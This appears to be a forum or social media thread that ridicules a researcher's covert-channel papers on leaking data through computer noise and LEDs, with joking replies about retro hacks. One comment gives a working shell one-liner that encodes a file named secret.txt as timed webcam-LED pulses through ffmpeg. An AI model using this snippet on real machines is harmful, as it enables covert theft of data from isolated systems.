Reminder: the CovertChannels stuff from Mordechai Guri is a paper mill with misleading titles. Stop giving them publicity. They aren't "Generating Covert Wi-Fi signals", they're encoding 10bps of data in 2.4GHz noise from a 2.4GHz RAM bus. That's not Wi-Fi.
Literally the guy's entire schtick is picking a random noise/EMI output from a computer (he's done fan noise, HDD LEDs, temperature, etc), figuring out how to write software to encode data in the noise the least-effort amount of way, then pumping out a paper.
Anyone can come up with this stuff and implement it. Seriously. Like half of the papers only take a few lines of code to implement on both the transmitting and receiving sides (you need malware on both sides).
I was going to give you some ideas, but he's already done most of them (I looked around, thought "screen brightness" - yup, he did it last year). Uhh, let's see... camera LED! He's done keyboard LEDs, HDD LEDs, router LEDs, but not camera LEDs! Hey Morderai, free paper!
Here's your leaking code: xxd -c 1 -p secret.txt | while read a; do for b in ${a:0:1} ${a:1:1}; do ffmpeg -y -f v4l2 -i /dev/video0 -t $((0x$b)) -f rawvideo /dev/null ; done; done 4 bits per pulse PWM encoding. Tested on my iMac. There's half of your paper! You're welcome!
this is literally me but if i actually thought i was hot shit man stole my hobby and monetized it lmao
Whoa! Does this mean I can rewind back to 1977, when we were able to generate tones in the AM radio band with CPU loops on a Data General 1220 minicomputer... And write a paper about data exfiltration? We just thought it was a fun hack to make “computer music.”
I had the same thought. Used to play with a PDP-8 some dude had wired up online with a webcam so you could do this live.
The next thing is using CD-ROM access speed to encode information...
He did that one. https://ieeexplore.ieee.org/document/9202547 …
Or Zip disks to encode information. Or SCSI hard drives (as opposed to SATA because everyone has done SATA).
